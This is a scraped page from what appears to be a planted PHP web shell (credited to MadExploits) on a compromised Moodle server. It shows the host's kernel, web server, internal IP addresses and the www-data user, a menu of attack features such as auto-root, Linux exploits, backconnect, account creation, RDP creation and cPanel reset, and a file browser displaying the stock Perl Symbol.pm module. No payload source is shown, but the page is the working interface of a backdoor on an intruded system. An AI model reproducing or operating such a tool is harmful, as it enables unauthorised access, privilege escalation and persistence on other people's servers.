Linux moodl-moodle-3s8bw1nuh5yqd9-5b875fdd66-8hs4m 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64
Apache/2.4.41 (Ubuntu)
: 10.39.0.36 | : 10.36.0.0
Cant Read [ /etc/named.conf ]
7.4.3
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl-base /
[ HOME SHELL ]
Name
Size
Permission
Action
Carp
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
Hash
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Scalar
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AutoLoader.pm
5.36
KB
-rw-r--r--
Carp.pm
24.79
KB
-rw-r--r--
Config.pm
3.2
KB
-rw-r--r--
Config_git.pl
409
B
-rw-r--r--
Config_heavy.pl
52.96
KB
-rw-r--r--
Cwd.pm
17.24
KB
-rw-r--r--
DynaLoader.pm
10.18
KB
-rw-r--r--
Errno.pm
4.82
KB
-rw-r--r--
Exporter.pm
2.31
KB
-rw-r--r--
Fcntl.pm
2.11
KB
-rw-r--r--
FileHandle.pm
2.06
KB
-rw-r--r--
IO.pm
469
B
-rw-r--r--
POSIX.pm
19.87
KB
-rw-r--r--
SelectSaver.pm
344
B
-rw-r--r--
Socket.pm
13.54
KB
-rw-r--r--
Symbol.pm
2.05
KB
-rw-r--r--
XSLoader.pm
3.87
KB
-rw-r--r--
attributes.pm
3
KB
-rw-r--r--
base.pm
8.7
KB
-rw-r--r--
bytes.pm
447
B
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
constant.pm
5.6
KB
-rw-r--r--
feature.pm
4.7
KB
-rw-r--r--
fields.pm
4.89
KB
-rw-r--r--
integer.pm
172
B
-rw-r--r--
lib.pm
2.23
KB
-rw-r--r--
locale.pm
3.34
KB
-rw-r--r--
overload.pm
4.34
KB
-rw-r--r--
overloading.pm
964
B
-rw-r--r--
parent.pm
460
B
-rw-r--r--
re.pm
8.5
KB
-rw-r--r--
strict.pm
1.57
KB
-rw-r--r--
utf8.pm
313
B
-rw-r--r--
utf8_heavy.pl
26.66
KB
-rw-r--r--
vars.pm
1.12
KB
-rw-r--r--
warnings.pm
25.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Symbol.pm
package Symbol; BEGIN { require 5.005; } require Exporter; @ISA = qw(Exporter); @EXPORT = qw(gensym ungensym qualify qualify_to_ref); @EXPORT_OK = qw(delete_package geniosym); $VERSION = '1.08'; my $genpkg = "Symbol::"; my $genseq = 0; my %global = map {$_ => 1} qw(ARGV ARGVOUT ENV INC SIG STDERR STDIN STDOUT); # # Note that we never _copy_ the glob; we just make a ref to it. # If we did copy it, then SVf_FAKE would be set on the copy, and # glob-specific behaviors (e.g. C<*$ref = \&func>) wouldn't work. # sub gensym () { my $name = "GEN" . $genseq++; my $ref = \*{$genpkg . $name}; delete $$genpkg{$name}; $ref; } sub geniosym () { my $sym = gensym(); # force the IO slot to be filled select(select $sym); *$sym{IO}; } sub ungensym ($) {} sub qualify ($;$) { my ($name) = @_; if (!ref($name) && index($name, '::') == -1 && index($name, "'") == -1) { my $pkg; # Global names: special character, "^xyz", or other. if ($name =~ /^(([^a-z])|(\^[a-z_]+))\z/i || $global{$name}) { # RGS 2001-11-05 : translate leading ^X to control-char $name =~ s/^\^([a-z_])/'qq(\c'.$1.')'/eei; $pkg = "main"; } else { $pkg = (@_ > 1) ? $_[1] : caller; } $name = $pkg . "::" . $name; } $name; } sub qualify_to_ref ($;$) { return \*{ qualify $_[0], @_ > 1 ? $_[1] : caller }; } # # of Safe.pm lineage # sub delete_package ($) { my $pkg = shift; # expand to full symbol table name if needed unless ($pkg =~ /^main::.*::$/) { $pkg = "main$pkg" if $pkg =~ /^::/; $pkg = "main::$pkg" unless $pkg =~ /^main::/; $pkg .= '::' unless $pkg =~ /::$/; } my($stem, $leaf) = $pkg =~ m/(.*::)(\w+::)$/; my $stem_symtab = *{$stem}{HASH}; return unless defined $stem_symtab and exists $stem_symtab->{$leaf}; # free all the symbols in the package my $leaf_symtab = *{$stem_symtab->{$leaf}}{HASH}; foreach my $name (keys %$leaf_symtab) { undef *{$pkg . $name}; } # delete the symbol table %$leaf_symtab = (); delete $stem_symtab->{$leaf}; } 1;
Close
